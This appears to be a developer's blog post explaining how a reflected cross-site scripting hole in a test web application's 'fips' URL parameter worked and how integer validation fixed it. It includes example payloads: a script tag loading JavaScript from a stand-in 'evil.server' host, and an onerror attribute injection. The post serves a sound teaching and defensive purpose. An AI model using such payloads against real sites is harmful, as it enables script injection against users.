Recently, I was tasked with fixing a cross site scripting hole
on a web application that existed on our test servers. Cross
site scripting is by far one of the most common security issues
found on web applications today, so it's really no surprise there
are some XSS errors that inevitably get past the development phase
of applications and into the test realms. After all, that is
one of the reasons we have test servers!
I'll explain a few things in this post:
- What is XSS, and why is it *evil*?
- How did this particular XSS hole work?
- How did we go about fixing it?
What is XSS, and why is it *evil*?
First, I'll provide a couple links. Wikipedia has a great
page describing XSS, and the different kinds of attack vectors that
exist.
http://en.wikipedia.org/wiki/Cross-site_scripting
OWASP defines Cross Site Scripting as one of the top 10 security
risks for web applications today.
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Cross Site Scripting occurs when input to an application is not
properly sanitized. If this un-sanitized information is
passed into the source code of another page, the end user's browser
renders the information. Let's imagine if this un-sanitized
input is something like this:
"/><script
src="http://evil.server/evil.js"></script>
The first part, ("/>) is a very common vector that begins the
XSS by closing whatever tag the un-sanitized input is being
injected into. The next part (the script tag) references an
evil javascript file located on a remote server, completely
unrelated to the web-server that the page we are viewing resides
on. We have no control over this evil javascript - yet
because of XSS, it still has a chance to impact our users - most
likely in a negative or malicious way.
How did this particular XSS hole work?
In the example that I was working on this last week, the
application took information from the URL in a parameter called
"fips" (the fips parameter wasn't being sanitized), and
concatenated said information with another string, which was
ultimately used as the value for the src= attribute inside an
<img> tag.
So, in a perfect world, the URL that contained fips would look
something like this:
http://url.here/blah?fips=30001
The problem here was that the application only needed to be
dealing with integers, but would also accept input other than
integers (strings, etc.). Our auditor gave fips= a string
that looked something like this:
xxxxx12345" onerror="alert(0)"
Let's dissect that string to see what's happening.
The xxxxx12345 part is a unique string that the auditor is
injecting into any parameter that it can on the webpage. Once
it injects this parameter, it looks in the rendered page's source
code, and attempts to find the unique string. Upon finding
"xxxxx12345", the auditor noticed that it was being written into
the src attribute of an img tag. The double quote immediately
following xxxxx12345 is closing the src= attribute; finally this is
where the onerror= part comes into play. As you can see, in
the example I provided above, all that's happening inside of
onerror= is an "alert(0)".. That doesn't seem too bad, but it
demonstrates in a very simple way what could easily be much more
significant and dangerous.
The basic point is that JavaScript is being executed inside of
the onerror= attribute and the application isn't sanitizing input
to handle data it wasn't necessarily expecting.
Let me re-cap in a different way to demonstrate more fully how
this bug works (in case what I've said doesn't make sense).
When the URL looks like this:
http://url.here/blah?fips=30001
The resulting page would have a couple of img tags that look
something like this:
<img src="/images/maps/map30001.png">
<img src="/images/graphs/graph30001.png">
The page loads as expected, and the images are displayed.
However, when the URL looks like this:
http://url.here/blah?fips=xxxxx12345" onerror="alert(0)"
The image tags would be written like this, and eventually render
for the end-user:
<img src="/images/maps/mapxxxxx12345"
onerror="alert(0)".png>
<img src="/images/graphs/graphxxxxx12345"
onerror="alert(0)".png>
Now, when the page loads, it throws two message boxes with the
message "0" inside of them (because the files mapxxxxx12345 and
graphxxxxx12345 don't exist and cause an error, which is when
onerror is executed). The JavaScript that is rendering inside of
the img tag is a payload of the XSS bug that needs to be
mollified. A motivated, malicious and clever hacker would be
able to inject and eventually render much more evil things than
just an alert box.
How did we go about fixing it?
Fixing this bug was actually relatively easy. Fixing XSS
isn't always quite so simple but because of how this particular
application works it was pretty straight-forward to resolve.
As I mentioned above, the application was really only looking
for integer values as input. None of the files it would be
referencing contained a non-integer value, so fixing this was just
a matter of checking whether or not fips= exists (if it doesn't set
fips to "0"), then checking whether or not fips was an integer (if
it isn't an integer, then also set the value of fips to "0").
This way, when a URL that looked like this was accessed:
http://url.here/blah?fips=xxxxx12345" onerror="alert(0)"
The code behind the web page would detect that fips isn't an
integer, and set the value of fips to "0", then the respective img
tags would be written like this in the source code of the resulting
page:
<img src="/images/maps/map0.png">
<img src="/images/graphs/graph0.png">
The images wouldn't render (because they don't exist right now),
but they certainly won't execute JavaScript anymore!
Conversely, if the URL looks like this, with empty or null
fips:
http://url.here/blah?fips=
The code behind catches that, and sets fips value to "0", and
the img tags are written as they were in the example provided
above.
Now, with this solution, we can still give the web application
invalid input (strings, incorrect numbers, or simply nothing), but
it won't inject any non-integer input on the resulting page, which
includes external JavaScript. Huzzah! We've effectively
mitigated a security risk that *used* to exist on our servers, and
another application is one step closer to joining its friends on
our production realms.